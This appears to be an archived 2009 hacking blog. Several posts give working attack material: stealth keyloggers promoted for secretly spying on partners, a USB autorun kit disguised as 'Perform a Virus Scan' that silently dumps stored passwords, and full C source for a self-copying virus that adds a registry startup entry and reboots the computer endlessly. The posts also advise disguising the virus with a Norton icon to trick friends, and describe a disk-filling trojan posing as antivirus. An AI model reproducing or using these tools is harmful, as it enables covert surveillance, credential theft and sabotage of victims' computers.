Saturday, October 17, 2009
A batch file virus code
Most Uncommon Hacking Books
Monday, August 31, 2009
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Saturday, August 8, 2009
How To Monitor a Local or Remote Computer
Most of the time, it becomes necessary for us to monitor our own computer or a remote computer to keep track of the activities going on. This may be for several reasons. Especially it is most necessary for the parents to monitor their computer to keep track of their children’s activities during their absence. Some people may also require to monitor their computer to keep an eye on the activities of their spouse or partner. Today, with the advancement in the field of the software technology, it’s just a cakewalk to monitor the computer. For this all you have to do is, use a PC Monitoring Software.
But the job doesn’t end here. This is because there exists tons of such monitoring softwares on the market and many times we get confused which to choose and how to use them. So I have decided to make this job simpler for you, by writing this post. In this post I’ll give a detailed information about Computer monitoring softwares which include their features, advantages, installation, usage procedure and so on. To make this post interesting, let’s take up each topic in the form of question and answer.
What exactly is a Monitoring Software and how can it help me ?
A computer monitoring software is just like any other software (program) which when installed, secretly monitors each and every activity that takes place on the computer. The activities such as web browsing, chatting, gaming etc. are all recorded and saved. These monitoring softwares can record each and every keystroke. So it is possible to capture usernames and passwords very easily with minimum effort. Monitoring softwares are also commonly known as Keyloggers.
How can I install a monitoring software ?
Installing a monitoring software is too simple. During the installation, you need to setup asecret password and hotkey combination which is required later to see the recorded data ( logs). After the installation is complete the software goes invisible, but keeps running in the background. Whenever you want to see the logs, just press the hotkey combination (ex. Shift+Ctrl+F10). Now a small window will popup asking for a password. Here you need to enter the password that was setup during the installation time. After you enter the password you’ll be able to see all the activities that took place on the computer during your absence.
Can the person using the computer come to know about the presence of the Monitoring Software ?
Most of the time it becomes impossible to detect the presence of the monitoring software. This is because, once installed it hides itself from Start menu, Program Files, Control Panel, Task manager etc. Because of it’s stealth behaviour the user can never come to know that he/she is under the presence of monitoring.
Which Monitoring Software should I use ?
There exists different flavours of these softwares and you have to choose the one that best match your needs. Here is a list of some of the best monitoring programs that I recommend.
For Monitoring a Local PC:
If you want to monitor a local PC (may be your own PC) then the following program is recommended.
You can find a Complete Installation Guide for Spy Agent Stealth HERE
For Monitoring a Remote PC (Also works on local PC) :
If you want to monitor a remote PC you may use the following programs. These programs works for remote PC as well as local PC.
You can find a Complete Installation Guide for Win-Spy Monitor HERE
You can find a Complete Installation Guide for Realtime Spy HERE
For Monitoring a Network :
The following program can be used to monitor an Entire Network of computers from one central location. This becomes handy to monitor the staff in a company or students in a school/college.
You can find a Complete Installation Guide for NetVizor HERE
For monitoring a Cell Phone from your PC:
If you want to monitor a Cell Phone from your PC you can refer the following link.
I hope this helps. Pass your comments.
Speed Up Your PC - Top 5 Ways to Speed Up Your PC
5 Best Ways to Speed Up your PC
Are you fed up with your slow PC? Well you can Speed Up your PC by 3 times. In this post you’ll find some of the most significant ways to speed up your PC. For your convenience, I ’ll split this post into 2 parts.
1. Automatic Ways to Speed Up PC (Using PC Speed Up Softwares)
2. Manual Ways to Speed Up PC
Automatic Ways to Speed Up PC
You can use a PC Optimizer Tool to automatically boost the Speed of your PC without the need to worry about the manual ways of doing it. These tools will automatically find and fix upto 99% of your PC errors by optimizing the Windows registry, cleaning up junk files, removing unwanted items from the start up etc. This can speed up your PC and Internet speed by upto 3 times. Here are some of the best PC Optimizer Programs that I recommend.
Using a PC Optimizer is the easiest way to speed up your PC. This is because, most of the performance tweaks such as Registry Cleanup cannot be done manually.
Manual Ways to Speed Up Your PC
1. Free Up Disk Space to increase the speed of your PC
- Remove temporary Internet files.
- Empty the Recycle Bin.
- Remove Windows temporary files.
- Uninstall Programs that you no longer use.
2. Periodically Perform Hard Disk Defragment. This can Speed Up your PC significantly.
3. Clean Up your Registry (Highly Recommended)
Cleaning Up your Windows Registry is very much necessary to speed up your PC. Unfortunately you cannot do this manually. You have to use a Registry Cleaner to do this. Here is the best registry cleaner on the web.
A complete review of registry cleaners can be found at Registry Cleaner Reviews
4. Clean Up the browser cache to Speed Up your Internet.
5. Install a good Antispyware software
Spywares can really hurt the performance of your PC. So, install a good anti-spyware to protect your PC from spywares and improve the speed of your PC. I recommend the following Antispywares to protect your PC.
Which is the Best Way to Speed Up my PC? (Auto or Manual)
The best way to speed Up your PC is by using a PC Optimizer such as Perfect Optimizer or Registry Easy. This is because, manual ways can only perform 30-40% of the tweaks to improve the speed of your PC, but the most important aspect of the Speed Up process such as Registry clean Up and other advanced performance tweaks can only be done using a PC Optimizer software. So if you are serious about improving the speed of your PC, then you need to use a PC Optimizer.
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How to Sniff Password Using USB Drive
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
A Virus Program to Restart the Computer at Every Startup
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include
#include
#include
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exefile.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in theWindowsSystem32 folder with the .dll extension. Since the junk file has the .dllextention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.
How to compile, test and remove the damage?
Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.
NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%system32
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?
Please pass your comments and tell me your opinion. I am waiting just for your comments…